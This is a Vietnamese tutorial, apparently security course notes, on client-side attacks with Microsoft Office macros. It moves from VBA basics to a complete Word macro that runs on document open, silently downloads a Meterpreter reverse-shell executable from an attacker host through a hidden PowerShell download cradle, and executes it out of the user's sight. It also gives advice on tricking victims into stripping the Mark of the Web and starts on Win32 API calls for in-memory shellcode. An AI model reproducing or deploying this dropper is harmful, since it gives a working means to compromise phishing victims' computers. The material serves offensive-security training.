---
# System prepended metadata

title: Thực thi mã phía Client thông qua Office

---

# Thực thi mã phía Client thông qua Office
## Tổng quan về Dropper
Để bắt đầu một cuộc tấn công phía client, kẻ tấn công thường gửi một Trojan (dưới dạng một script hoặc tài liệu) cho nạn nhân và lừa họ thực thi nó. Các trojan truyền thống nhúng toàn bộ payload, nhưng các trojan Dropper phức tạp hơn lại dựa vào một payload được phân giai đoạn (staged payload) với một chức năng Callback kết nối ngược về máy tấn công để tải xuống giai đoạn thứ hai.

Một khi mã đã được gửi đi, nó có thể được ghi vào đĩa cứng hoặc chạy trực tiếp từ bộ nhớ. Dù bằng cách nào, mục tiêu của đoạn mã là tạo ra một kênh giao tiếp ngược về cho kẻ tấn công. Đoạn mã chạy trên máy trạm của nạn nhân được biết đến với nhiều tên (thường đồng nghĩa) bao gồm Implant, Agent, Backdoor, hoặc đơn giản là Malware.

Khi mã này được thực thi trên client, nó phải kết nối đến một hạ tầng “Command and control” hay C2 để giao tiếp ngược lại với kẻ tấn công. Đoạn mã này sẽ chứa hostname và tên miền hoặc địa chỉ IP của kẻ tấn công và sẽ tận dụng một giao thức mạng có sẵn như HTTP hoặc HTTPS (có thể giả lập hoạt động của người dùng) hoặc DNS (giả lập hoạt động mạng thông thường).

# Phishing with Microsoft Office
Vào năm 2022, Microsoft đã mặc định tắt macro
 trong nhiều sản phẩm Office. Giờ đây, khi người dùng mở một tài liệu có chứa macro, ứng dụng (trong trường hợp này là Word) sẽ hiển thị cảnh báo bảo mật:
 ![image](https://hackmd.io/_uploads/HJ4d97pjeg.png)

Tuy nhiên, cơ chế bảo vệ này không được đưa trở lại Office 2016 hoặc 2019 và thay vào đó, người dùng được phép bật macro khi mở tài liệu Word có chứa macro:
![image](https://hackmd.io/_uploads/Skv5c7pixx.png)
## Hiểu những điều cơ bản của VBA
Trong phần này, chúng ta sẽ thảo luận về những điều cơ bản của VBA và khám phá các cơ chế bảo mật tích hợp của Microsoft Office.

Chúng ta sẽ tạo macro đầu tiên, bao gồm một vài câu lệnh điều kiện và hộp thông báo. Sau đó, chúng ta sẽ thử chạy dấu nhắc lệnh từ MS Word với sự trợ giúp của Windows Script Host .
 Chúng ta sẽ điều hướng đến tab View và chọn Macros để truy cập menu Macro .
![image](https://hackmd.io/_uploads/Byxx7Epogx.png)
Chúng ta phải chọn tài liệu hiện tại từ menu thả xuống trong cửa sổ hộp thoại Macro. Trong trường hợp này, chúng ta sẽ chọn Document1 (tài liệu) để chọn tài liệu chưa được đặt tên. Nếu chúng ta không chọn tài liệu này, Word sẽ lưu macro vào mẫu chung.
![image](https://hackmd.io/_uploads/S1BkwVajxx.png)
Sau khi chọn tài liệu hiện tại, chúng ta sẽ nhập tên cho macro. Trong ví dụ này, chúng ta sẽ đặt tên cho macro là "MyMacro". Chọn Create (Tạo) sẽ khởi chạy trình soạn thảo VBA để chạy và gỡ lỗi mã.
![image](https://hackmd.io/_uploads/H1CwDV6igg.png)
Trình soạn thảo tự động chèn một đoạn mã khởi đầu. Trong đoạn mã này:
- Sub MyMacro định nghĩa điểm bắt đầu của phương thức MyMacro.
- End Sub kết thúc phương thức.

Lưu ý rằng trong VBA, một Sub (phương thức) không thể trả về giá trị cho người gọi, nhưng một Function (được khai báo với các từ khóa như Function MyMacro và End Function) thì có thể.
Giống như những ngôn ngữ lập trình khác, VBA yêu cầu chúng ta phải khai báo biến trước khi sử dụng. Chúng ta có thể thực hiện việc này bằng từ khóa Dim, cung cấp tên biến và kiểu dữ liệu của nó:
Khai báo các biến có kiểu dữ liệu khác nhau trong VBA
```vb
Dim myString As String
Dim myLong As Long
Dim myPointer As LongPtr
```
Trong ví dụ này, chúng ta đã sử dụng ba kiểu dữ liệu phổ biến: String, Long và LongPtr. Các kiểu dữ liệu này tương ứng trực tiếp với:
- String: Một chuỗi Unicode.
- Long: Một số nguyên 32-bit (trên Windows 32-bit) hoặc 64-bit (trên Windows 64-bit).
- LongPtr: Một con trỏ bộ nhớ, với kích thước phụ thuộc vào kiến trúc (32-bit hoặc 64-bit).

Những kiểu dữ liệu này đại diện cho các kiểu dữ liệu gốc của hệ điều hành và thường được sử dụng trong C hoặc C++.
Sau khi biết cách khai báo biến, chúng ta có thể sử dụng và thao tác chúng bằng các câu lệnh điều khiển luồng, bao gồm:
- Câu lệnh If và Else.
- Vòng lặp For.
- Câu Lệnh If và Else

Câu lệnh If và Else được bổ sung bởi các từ khóa Then và End If để tạo thành một câu lệnh phân nhánh hoàn chỉnh. Khi điều kiện If được thỏa mãn, khối Then được thực thi; nếu không, khối Else được thực thi. Câu lệnh End If kết thúc khối điều kiện phân nhánh.

Dưới đây là một ví dụ sử dụng macro để kiểm tra giá trị của một biến và dựa trên kết quả, hiển thị message box bằng hàm MsgBox tích hợp:
```vb
Sub MyMacro()

Dim myLong As Long

myLong = 1

If myLong < 5 Then
    MsgBox ("True")
Else
    MsgBox ("False")
End If

End Sub
```
Để thực thi code ta nhấp vào biểu tượng được tô đỏ hoặc ấn F5
![image](https://hackmd.io/_uploads/SJeG5Paslg.png)

macro này sẽ hiển thị hộp thoại "true" vì biến myLong nhỏ hơn 5
![image](https://hackmd.io/_uploads/Sk7u9P6olx.png)

Tiếp theo, chúng ta sẽ khám phá vòng lặp For, sử dụng từ khóa Next để tăng giá trị của một biến đếm:
```vb
Sub MyMacro()

For counter = 1 To 3
    MsgBox ("Alert")
Next counter

End Sub
```
Vòng lặp For sẽ thực thi ba lần, mỗi lần gặp từ khóa Next, giá trị của biến counter sẽ được tăng thêm một đơn vị. Khi chạy macro này, ba message box với nội dung "Alert" sẽ được hiển thị.

Sau khi đã thảo luận ngắn gọn về các phương thức tùy chỉnh và câu lệnh, hãy tập trung vào mục tiêu cuối cùng: khiến máy nạn nhân thực thi macro tùy chỉnh của chúng ta. Vì nạn nhân thường không tự nguyện thực thi macro, chúng ta cần tận dụng các phương thức như `Document_Open()` và `AutoOpen()`. Cả hai phương thức này sẽ được thực thi khi tài liệu Word được mở.

Lưu ý rằng cách triển khai VBA có thể khác nhau giữa các ứng dụng Office. Ví dụ, Document_Open() được gọi là Workbook_Open() trong Excel.

Để sử dụng các phương thức này, chúng ta phải lưu tài liệu ở định dạng hỗ trợ macro, như .doc hoặc .docm. Định dạng .docx mới hơn không hỗ trợ macro.

Hãy thử nghiệm với một macro đơn giản sử dụng cả Document_Open và AutoOpen để đảm bảo tính dự phòng:
```vb
Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    MsgBox ("This is a macro test")
End Sub
```
Chúng ta sẽ lưu lại tài liệu theo định dạng `.doc` và đóng tài liệu đó lại
![image](https://hackmd.io/_uploads/B1o7__pjxe.png)

Bây giờ chúng ta đã lưu tài liệu, hãy mở lại. Chúng ta sẽ thấy một biểu ngữ cảnh báo bảo mật thay vì hộp thông báo đầu ra:
![image](https://hackmd.io/_uploads/S1oO3dTixe.png)
Chúng ta hãy ấn vào "Enable Content", marco sẽ tự động được thực thi và hộp thông báo sẽ được xuất hiện. Cài đặt bảo mật mặc định cho Office bất kì là không thực thi macro. Khi chúng ta muốn tấn công ở phía máy khách, chúng ta phải thuyết phục nạn nhân mở tài liệu và bật macro
![image](https://hackmd.io/_uploads/HkBWpdTjxx.png)

Chúng ta có thể kiểm tra các thiết lập bảo mật bằng cách truy cập File -> Options
![image](https://hackmd.io/_uploads/SJiUROpixg.png)
Trong Trust Center cài đặt mặc định là "Disable all macros with notification"
![image](https://hackmd.io/_uploads/SyKt0d6jll.png)

Tùy chọn Protected View mô tả tính năng hộp cát được giới thiệu trong Microsoft Office 2010, được bật khi tài liệu có nguồn gốc từ Internet.
![image](https://hackmd.io/_uploads/rkXnC_psex.png)
Khi chế độ Protected View được bật, các macro sẽ bị vô hiệu hóa, hình ảnh bên ngoài sẽ bị chặn và người dùng sẽ thấy một thông báo cảnh báo bổ sung:
![image](https://hackmd.io/_uploads/Skd11t6jgg.png)
Ngoài ra, macro sẽ bị vô hiệu hóa trong tất cả các tài liệu được mở bằng Office 2021 (và các phiên bản mới hơn) và Office 365 khi chúng được tải xuống từ Internet. Điều này có nghĩa là ngay cả khi chúng ta bằng cách nào đó thuyết phục được nạn nhân nhấp vào "Bật Chỉnh sửa" , macro vẫn sẽ không được thực thi. Điều này có vẻ là một biện pháp bảo vệ khá tốt trước các mối đe dọa dựa trên macro, và nó đã làm giảm việc sử dụng tài liệu Office trong các chiến dịch lừa đảo. Tuy nhiên, kẻ tấn công vẫn có thể lừa người dùng cho phép macro chạy. Một cách tiếp cận là làm cho tài liệu Office xuất hiện như thể nó không được tải xuống từ Internet.
Office sử dụng thuộc tính Dấu hiệu Web (MoTW) để phát hiện xem tài liệu có nguồn gốc từ Internet hay không. Thuộc tính này được thiết lập khi tài liệu được tải xuống từ Internet.

Chúng ta có thể xem thuộc tính MoTW bằng cách kiểm tra các thuộc tính của tài liệu Word
Nếu chúng ta chọn Bỏ chặn và nhấp vào Áp dụng , thuộc tính MoTW sẽ bị hủy cài đặt và tài liệu Word sẽ được coi là một tệp được tạo cục bộ. Thao tác này sẽ vô hiệu hóa Chế độ xem được bảo vệ và cho phép chạy macro.

Điều này yêu cầu kẻ tấn công phải đưa ra lý do thuyết phục để lừa người dùng bỏ chặn tài liệu và xóa Dấu hiệu của Web trước khi mở tài liệu.
Chúng ta hãy cùng tìm hiểu cách khởi chạy một lệnh bên ngoài, chẳng hạn như cmd.exe, từ VBA
Kỹ thuật đầu tiên và đơn giản nhất tận dụng hàm VBA Shell , hàm này sử dụng hai đối số. Đối số đầu tiên là đường dẫn và tên của ứng dụng sẽ khởi chạy cùng với bất kỳ đối số nào. Đối số thứ hai là WindowStyle , thiết lập kiểu cửa sổ của chương trình. Hầu hết kẻ tấn công đặt giá trị này là vbHide (hoặc số tương đương 0), để ẩn cửa sổ chương trình.
Ví dụ, đoạn mã này sẽ khởi chạy dấu nhắc lệnh trong một cửa sổ ẩn sau khi nạn nhân kích hoạt macro:
```vb
Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "cmd.exe"
    Shell str, vbHide
End Sub
```
Việc lưu macro và mở lại tài liệu Word sẽ chạy macro mà không có bất kỳ cảnh báo bảo mật nào, vì chúng tôi đã bật macro trên tài liệu này. Nếu chúng tôi đổi tên tài liệu, cảnh báo bảo mật sẽ xuất hiện lại.
Vì dấu nhắc lệnh được mở dưới dạng cửa sổ ẩn nên nó không hiển thị, nhưng chúng ta có thể kiểm tra xem nó có đang chạy hay không. Hãy thử ngay bây giờ.
![image](https://hackmd.io/_uploads/SJJ9z96ixl.png)
Danh sách này liệt kê thông tin về các tiến trình đang chạy trên hệ thống, các DLL mà tiến trình đã tải và hiển thị rõ ràng cmd.exe đang chạy như một tiến trình con của WINWORD.EXE .
Chúng ta cũng có thể sử dụng Windows Script Host để khởi chạy shell. Để làm điều này, chúng ta sẽ gọi phương thức CreateObject để tạo shell WSH, và từ đó chúng ta có thể gọi phương thức Run. Nghe có vẻ phức tạp, nhưng mã lệnh lại tương đối đơn giản:
```vb
Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "cmd.exe"
    CreateObject("Wscript.Shell").Run str, 0
End Sub
```
Trong đoạn mã này, lệnh gọi CreateObject trả về đối tượng WSH, từ đó chúng ta gọi phương thức Run , cung cấp đường dẫn và tên ứng dụng cần thực thi cùng với kiểu cửa sổ vbHide (0). Việc thực thi Macro sẽ một lần nữa mở cmd.exe dưới dạng một tiến trình ẩn, và chúng ta có thể xác minh lại điều này bằng Process Explorer.
Trong phần này, chúng ta đã tìm hiểu những kiến thức cơ bản về VBA và macro Microsoft Office. Chúng ta đã thảo luận về câu lệnh If và vòng lặp For. Chúng ta đã tìm hiểu về Trust Center và giải quyết các phần mở rộng tệp hỗ trợ macro. Chúng ta cũng đã thảo luận ngắn gọn về cách sử dụng VBA để thực thi các ứng dụng khác. Trong phần tiếp theo, chúng ta sẽ tiếp tục tìm hiểu cách thực thi shellcode Meterpreter.


## Integrating PowerShell
Trước đó chúng ta đã tập trung vào Microsoft Office và nói về cơ chế hoạt động của VBA. Tiếp theo chúng ta sẽ tận dụng môi trường PowerShell để kĩ năng tấn công mạnh mẽ và linh hoạt hơn.
VBA là một ngôn ngữ biên dịch dựa trên kiểu dữ liệu. Trong khi đó, PowerShell là một ngôn ngữ kịch bản hướng đối tượng, được biên dịch và thực thi ngay lập tức thông qua .NET Framework. Nó thường không sử dụng kiểu dữ liệu và cung cấp sự linh hoạt hơn VBA. Hãy thảo luận về các khái niệm cơ bản của PowerShell trước khi triển khai nó trong một cuộc tấn công phishing.

### Khai Báo Biến và Cú Pháp PowerShell

Để khai báo một biến trong PowerShell, chúng ta chỉ cần thêm dấu đô la ($) trước tên biến. Cú pháp điều khiển luồng của PowerShell, bao gồm các câu lệnh phân nhánh và vòng lặp, tương tự như hầu hết các ngôn ngữ kịch bản khác. Điểm khác biệt lớn nhất nằm ở các phép so sánh: PowerShell không sử dụng cú pháp thông thường như `==` hoặc `!=`, mà sử dụng `-eq`, `-ne`, và các toán tử tương tự.

Vì PowerShell có quyền truy cập vào .NET Framework, chúng ta có thể dễ dàng triển khai các kỹ thuật chuyên biệt như download cradle để tải nội dung (như payload giai đoạn hai) từ máy chủ web bên ngoài. Biến thể phổ biến nhất là lớp Net.WebClient. Bằng cách khởi tạo một đối tượng từ lớp này, chúng ta có thể gọi phương thức DownloadFile để tải bất kỳ tệp nào từ máy chủ web về máy nạn nhân.

Trong ví dụ sau, chúng ta sẽ gọi phương thức DownloadFile. Chúng ta sẽ xây dựng một kịch bản hoàn chỉnh, sau đó rút gọn thành một lệnh one-liner.

Phương thức DownloadFile nhận hai đối số: URL của tệp cần tải và tên tệp đầu ra. Toàn bộ quy trình tải xuống có thể được viết trong bốn dòng PowerShell:
Mã PowerShell để tải tệp thực thi Meterpreter
```vb
$url = "http://192.168.119.xxx/RVshell.exe"
$out = "RVshell.exe"
$wc = New-Object Net.WebClient
$wc.DownloadFile($url, $out)
```
**Giải thích:**
Trong đoạn mã này, chúng ta tạo biến cho tệp cần tải, sau đó là biến cho tên tệp cục bộ. Tiếp theo, chúng ta khởi tạo lớp Net.WebClient để tạo download cradle, sau đó gọi phương thức DownloadFile để tải tệp. Ở đây, chúng ta sử dụng tệp thực thi Meterpreter staged đã tạo trước đó.

Ta có thể viết gọn lại như sau: 
**One-liner PowerShell để tải tệp thực thi Meterpreter**
`(New-Object System.Net.WebClient).DownloadFile('http://192.168.16.2/C2/RVshell.exe', 'RVshell.exe')`
Ta dựng một server để lưu trữ các file độc hại
![image](https://hackmd.io/_uploads/HkW5pqJngl.png)
### Nhúng PowerShell vào Macro VBA

Hãy nhúng one-liner này vào macro Word bằng VBA để PowerShell thực hiện phần công việc chính. Chúng ta sẽ xây dựng mã từng bước, sau đó xem lại mã hoàn chỉnh.

Hầu hết các download cradle của PowerShell sử dụng HTTP hoặc HTTPS, nhưng chúng ta cũng có thể sử dụng bản ghi TXT và giao thức DNS thay thế.

Tổng quan, chúng ta sẽ thiết lập download cradle bằng cách chuyển đổi chuỗi PowerShell để hoạt động trong VBA. Chúng ta sẽ đợi tệp tải xuống hoàn tất, sau đó thực thi tệp.

**Viết Mã VBA**

Bước đầu tiên là khai báo một biến chuỗi và gán chuỗi đó với mã download cradle của PowerShell. Tiếp theo, chúng ta sử dụng phương thức Shell để khởi động PowerShell với one-liner làm đối số. Chúng ta sẽ ra lệnh cho phương thức Shell chạy mã và ẩn đầu ra khỏi người dùng.

Đoạn mã này sẽ tải tệp xuống máy nạn nhân:
**Mã VBA để gọi download cradle PowerShell**
```vb
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.16.2/C2/RVshell.exe', 'RVshell.exe')"
Shell str, vbHide
```
Trước khi thực thi mã này, chúng ta phải đặt tệp thực thi Meterpreter (RVshell.exe) trên máy chủ web Kali cùng với một multi/handler listener.

**Lấy Đường Dẫn Tệp**

Để thực thi tệp Meterpreter qua VBA, chúng ta cần chỉ định đường dẫn đầy đủ. May mắn thay, nội dung tải xuống sẽ nằm trong thư mục hiện tại của tài liệu Word, và chúng ta có thể lấy tên đường dẫn bằng thuộc tính ActiveDocument.Path:
**Lấy đường dẫn tệp từ ActiveDocument.Path**

```vb
Dim exePath As String
exePath = ActiveDocument.Path & "\" & "RVshell.exe"
```
**Tạo Độ Trễ**

Vì chúng ta tải tệp **Meterpreter** từ máy chủ web và thời gian tải xuống có thể thay đổi, chúng ta cần thêm độ trễ. Đáng tiếc, Microsoft Word không có hàm **Wait** hoặc **Sleep** trong **VBA** như **Excel**, nên chúng ta sẽ triển khai một phương thức **Wait** tùy chỉnh bằng vòng lặp Do cùng với các hàm Now và DateAdd.

Phương thức này cho phép chúng ta truyền tham số Wait (tính bằng giây) để tạm dừng thực thi. Để đảm bảo phương thức Wait không làm treo Microsoft Word, mỗi vòng lặp gọi DoEvents để Word xử lý các hành động khác.

Chúng ta lấy ngày và giờ hiện tại bằng hàm Now và lưu vào biến `t`. Sau đó, sử dụng vòng lặp Do hoạt động dựa trên so sánh được khai báo trong câu lệnh **Loop Until** : 
**Phương thức Wait trong VBA sử dụng ngày giờ**
```vb
Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub
```

Mã này sẽ tiếp tục lặp cho đến khi so sánh trả về **True**, tức là khi thời gian hiện tại (trả về bởi Now) lớn hơn thời gian trả về bởi hàm DateAdd. Hàm DateAdd nhận ba đối số: biểu thức chuỗi đại diện cho khoảng thời gian (`s` cho giây), số giây cần đợi (`n`), và thời gian hiện tại (`t`).

Nói một cách đơn giản, `n` giây được cộng vào thời điểm bắt đầu vòng lặp, và kết quả được so sánh với thời gian hiện tại. Khi `n` giây trôi qua, vòng lặp hoàn tất.

**Thực Thi Tệp**
Với phương thức Wait đã triển khai, chúng ta chỉ cần gọi nó và thực thi tệp Meterpreter. Để làm điều này, chúng ta sử dụng lại hàm Shell và gọi `exePath` đã tạo.

Dưới đây là macro VBA hoàn chỉnh:
```vb
Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub

Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.16.2/RVshell.exe', 'RVshell.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path & "\" & "RVshell.exe"
    Wait (2)
    Shell exePath, vbHide
End Sub

Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub
```

Khi tài liệu được mở và macro được bật, mã của chúng tôi sẽ kéo tệp thực thi Meterpreter từ máy chủ web. Chúng tôi đã thêm một khoảng thời gian trễ nhỏ để cho phép tệp tải xuống hoàn toàn. Cuối cùng, chúng tôi đã thực thi payload (được ẩn khỏi người dùng), tạo ra một shell Meterpreter ngược.



## Demo
**Tổng quan về mô hình Phishing bằng file DOC**
![image](https://hackmd.io/_uploads/r16AP7e3eg.png)


Đoạn code VBA này là một macro trong Microsoft Word được thiết kế để thực hiện các hành động khi tài liệu được mở. Đây là giải thích dễ hiểu từng phần:

```vb
Sub Document_Open()
    MyMacro
End Sub

Sub AutoOpen()
    MyMacro
End Sub
```
Hai sub này `(Document_Open và AutoOpen)` chạy tự động khi tài liệu Word được mở hoặc khi macro được kích hoạt. Cả hai đều gọi hàm MyMacro, nghĩa là lúc nào cũng sẽ chạy đoạn mã trong MyMacro khi tài liệu được mở.
```vb
Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.16.2/RVshell.exe', 'RVshell.exe')"
    Shell str, vbHide
    Dim exePath As String
    exePath = ActiveDocument.Path & "\" & "RVshell.exe"
    Wait (2)
    Shell exePath, vbHide
End Sub
```
Khai báo biến str là chuỗi chứa lệnh PowerShell.
Dòng `str = "powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.16.2/RVshell.exe', 'RVshell.exe')"` là đoạn lệnh PowerShell dùng để tải một file tên RVshell.exe từ địa chỉ IP 192.168.16.2 về thư mục đang chứa tài liệu Word.
`Shell str`, `vbHide` gọi lệnh PowerShell ở trên để thực thi, với cửa sổ lệnh bị ẩn (người dùng không thấy).
Biến exePath được gán đường dẫn đầy đủ tới file RVshell.exe vừa tải về bằng cách nối đường dẫn thư mục tài liệu `(ActiveDocument.Path)` với tên file.
Gọi hàm `Wait(2)` để tạm dừng macro khoảng 2 giây, nhằm đảm bảo file tải xong trước khi chạy.
Sau đó dùng Shell exePath, vbHide để chạy file thực thi RVshell.exe, cũng ở chế độ ẩn để người dùng không thấy cửa sổ chương trình.
```vb
Sub Wait(n As Long)
    Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", n, t)
End Sub
```
Hàm Wait nhận vào số giây cần chờ n.
Lấy thời gian hiện tại` t = Now`.
Vòng lặp `Do...Loop` chạy liên tục cho đến khi thời gian hiện tại lớn hơn hoặc bằng t cộng thêm n giây, tức là đợi đủ 2 giây.
DoEvents cho phép Word xử lý các sự kiện khác trong khi chờ.
Tóm lại: Khi mở tài liệu, macro sẽ tự động tải file thực thi (một shell hoặc payload) từ mạng về máy rồi chạy file đó nhưng không hiện cửa sổ để người dùng khó nhận ra. Chủ yếu dùng trong các cuộc tấn công qua tài liệu Office có macro độc hại.
\
sau khi truy cập reverse shell ta có thể download file từ server về thư mục chỉ định như sau:
`curl http://192.168.16.2/RVshell.exe -o C:\0day\Malware\RVshell.exe`
![image](https://hackmd.io/_uploads/ryvPbMb6xx.png)
![image](https://hackmd.io/_uploads/H1QdWGWpxe.png)


## Thực thi Shellcode trong bộ nhớ của Word
Phần này chúng ta sẽ tìm hiểu 2 mục:
- 1. Calling Win32 APIs from VBA
- 2. Implementing a VBA Shellcode Runner

Chúng ta đã thành công trong việc viết và thực thi một macro Word để tải xuống một tệp thực thi Meterpreter về ổ cứng và thực thi nó. Tuy nhiên, phương pháp này có một số hạn chế. Đầu tiên, tệp thực thi được tải xuống có thể bị phát hiện bởi phần mềm giám sát mạng hoặc giám sát mạng trên máy chủ. Ngoài ra, việc lưu tệp thực thi trên ổ cứng có thể kích hoạt phần mềm chống virus cục bộ.

Trong phần này, chúng ta sẽ cải thiện kỹ thuật của mình bằng cách sửa đổi cuộc tấn công để thực thi staged Meterpreter payload trực tiếp trong bộ nhớ. Đây là một quá trình chậm nhưng sẽ giúp chúng ta học được các kỹ thuật giá trị.

Khái niệm này vượt quá giới hạn của VBA, một phần vì staged Meterpreter payload là mã assembly thuần túy, cần được đặt vào một vị trí trong bộ nhớ và thực thi. Thay vì sử dụng VBA thuần túy, chúng ta có thể tận dụng các Win32 API của hệ điều hành Windows trong VBA.

## Calling Win32 APIs từ VBA
Các API của hệ điều hành Windows (hay Win32 API) nằm trong các thư viện liên kết động (DLL) và chạy dưới dạng mã không được quản lý. Chúng ta sẽ sử dụng từ khóa `Declare` để liên kết với các API này trong VBA, cung cấp tên hàm, DLL chứa hàm, kiểu đối số và kiểu giá trị trả về. Chúng ta sẽ sử dụng `Private Declare`, nghĩa là hàm này chỉ được sử dụng trong mã cục bộ của chúng ta.
[https://learn.microsoft.com/en-us/office/vba/language/reference/user-interface-help/declare-statement](https://)
**Win32 APIs là gì?**
- Win32 APIs là các hàm (functions) được cung cấp bởi hệ điều hành Windows, nằm trong các thư viện động (DLL - Dynamic Link Libraries).
- Các hàm này chạy dưới dạng unmanaged code (mã không được quản lý bởi .NET hoặc VBA), tức là chúng hoạt động trực tiếp với hệ điều hành.

**Gọi Win32 API từ VBA như thế nào?**
- VBA không có sẵn các hàm Win32 API, nên ta phải "liên kết" (link) các hàm này vào VBA bằng cách dùng từ khóa Declare.
- Cú pháp Declare cho phép VBA biết tên hàm, thư viện DLL chứa hàm đó, kiểu dữ liệu của các tham số và kiểu dữ liệu trả về.

Trong ví dụ này, chúng ta sẽ sử dụng API `GetUserName`. Chúng ta sẽ xây dựng câu lệnh hàm Declare và hiển thị tên người dùng trong một cửa sổ bật lên bằng MsgBox. Chúng ta có thể tham khảo function prototype từ tài liệu chính thức của MSDN, cho biết kích thước tối đa của tên người dùng và DLL chứa nó (Advapi32.dll). Chúng ta có thể mở rộng để khai báo hàm mong muốn.

```C 
BOOL GetUserNameA(
  LPSTR   lpBuffer,
  LPDWORD pcbBuffer
);
```
**Giải thích:**
- BOOL: Kiểu trả về của hàm, là kiểu boolean (TRUE hoặc FALSE) cho biết hàm có thực thi thành công hay không.
- GetUserNameA: Tên hàm, trong đó chữ "A" ở cuối biểu thị đây là phiên bản dùng mã ASCII (khác với "W" dùng Unicode).
- LPSTR lpBuffer: Con trỏ tới bộ nhớ (chuỗi ký tự) mà hàm sẽ ghi tên người dùng hiện tại của hệ thống vào đó. Đây là tham số đầu ra.
- LPDWORD pcbBuffer: Con trỏ tới biến kiểu DWORD (32-bit unsigned int) chứa kích thước của bộ đệm lpBuffer. Khi gọi hàm, biến này phải chứa kích thước tối đa của bộ đệm. Khi hàm trả về, biến này sẽ chứa độ dài thực tế của tên người dùng.

**Cách hoạt động:**

- Bạn chuẩn bị một bộ đệm (mảng ký tự) đủ lớn để chứa tên người dùng.
- Gán kích thước bộ đệm vào biến DWORD.
- Gọi hàm GetUserNameA, truyền vào con trỏ bộ đệm và con trỏ biến kích thước.
- Nếu hàm trả về TRUE, tên người dùng được ghi vào bộ đệm, và biến kích thước được cập nhật với độ dài tên.
- Nếu trả về FALSE, có thể bộ đệm không đủ lớn hoặc có lỗi khác.

MSDN mô tả các đối số của hàm dưới dạng kiểu dữ liệu C gốc, và chúng ta phải chuyển đổi chúng sang các kiểu dữ liệu tương ứng trong VBA. Đối số đầu tiên là một output buffer kiểu LPSTR, chứa tên người dùng hiện tại. Nó có thể được cung cấp dưới dạng String trong VBA.

Việc chuyển đổi giữa các kiểu dữ liệu C và VBA có thể phức tạp. MSDN cung cấp một số so sánh, nhưng tài liệu chính thức rất hạn chế.

Trong C, LPSTR là một con trỏ đến chuỗi. Tương tự, đối tượng String trong VBA giữ con trỏ đến chuỗi, chứ không phải chính chuỗi đó. Vì lý do này, chúng ta có thể truyền đối số theo giá trị (ByVal) vì các kiểu kỳ vọng khớp nhau.

Đối số thứ hai trong function prototype (pcbBuffer) là một con trỏ hoặc tham chiếu đến DWORD (LPDWORD), biểu thị kích thước tối đa của bộ đệm chứa chuỗi. Chúng ta có thể thay thế bằng kiểu Long trong VBA và truyền theo tham chiếu (ByRef) để lấy con trỏ trong VBA. Cuối cùng, kiểu trả về trong C là boolean (BOOL GetUserNameA), có thể được chuyển thành Long trong VBA.

Bây giờ chúng ta đã giải thích tất cả các thành phần, hãy gộp chúng lại. Chúng ta sẽ nhập hàm mục tiêu bằng Private Declare, cung cấp tên Win32 API và vị trí DLL của nó, cùng với các đối số. Khi làm việc trên hệ thống 64-bit, chúng ta phải thêm từ khóa PtrSafe. Câu lệnh Declare cuối cùng được đưa ra dưới đây. Nó phải được đặt ngoài quy trình.
**Khai báo và nhập Win32 API GetUserNameA**

`Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long`

Sau khi nhập hàm, chúng ta phải khai báo ba biến: giá trị trả về, bộ đệm đầu ra, và kích thước của bộ đệm đầu ra. Theo MSDN, độ dài tối đa cho phép của tên người dùng là 256 ký tự, vì vậy chúng ta sẽ tạo một chuỗi String 256 byte, MyBuff, và MySize kiểu Long, đặt giá trị là 256.
**Thiết lập đối số và gọi GetUserNameA**
```vb
Function MyMacro()
  Dim res As Long
  Dim MyBuff As String * 256
  Dim MySize As Long
  MySize = 256
  
  res = GetUserName(MyBuff, MySize)
End Function
```
Trước khi in kết quả, lưu ý rằng MyBuff có thể chứa tối đa 256 ký tự, nhưng chúng ta không biết độ dài thực tế của tên người dùng. Vì chuỗi C được kết thúc bằng byte rỗng (null byte), chúng ta sẽ sử dụng hàm InStr để lấy chỉ số của byte rỗng kết thúc trong bộ đệm, đánh dấu điểm cuối của chuỗi.

Các đối số cho InStr rất đơn giản. Chúng ta sẽ xác định vị trí bắt đầu (đặt là "1" cho đầu chuỗi), chuỗi cần tìm kiếm, và ký tự tìm kiếm (byte rỗng). Điều này sẽ trả về vị trí của byte rỗng đầu tiên, và chúng ta trừ đi 1 để lấy độ dài chuỗi.
**Trả về kết quả từ GetUserNameA**
```vb
#If VBA7 Then
    ' Dành cho Office 2010, 2013, 2016, 2019, 2021, M365 (cả 32-bit và 64-bit)
    Private Declare PtrSafe Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
#Else
    ' Dành cho Office 2007 và cũ hơn (chỉ có 32-bit)
    Private Declare Function GetUserName Lib "advapi32.dll" Alias "GetUserNameA" (ByVal lpBuffer As String, ByRef nSize As Long) As Long
#End If

Function MyMacro()
  Dim res As Long
  Dim MyBuff As String * 256
  Dim MySize As Long
  Dim strlen As Long
  MySize = 256
  
  res = GetUserName(MyBuff, MySize)
  strlen = InStr(1, MyBuff, vbNullChar) - 1
  MsgBox Left$(MyBuff, strlen)
End Function
```
Bây giờ chúng ta đã có độ dài chuỗi, chúng ta sẽ in các ký tự không rỗng bằng phương thức Left, như trong dòng được đánh dấu cuối cùng. Left tạo một chuỗi con từ đối số đầu tiên với kích thước của đối số thứ hai.

Nếu chúng ta gọi Win32 API chính xác, macro sẽ hiển thị tên người dùng mong muốn mà không có khoảng trắng thừa:
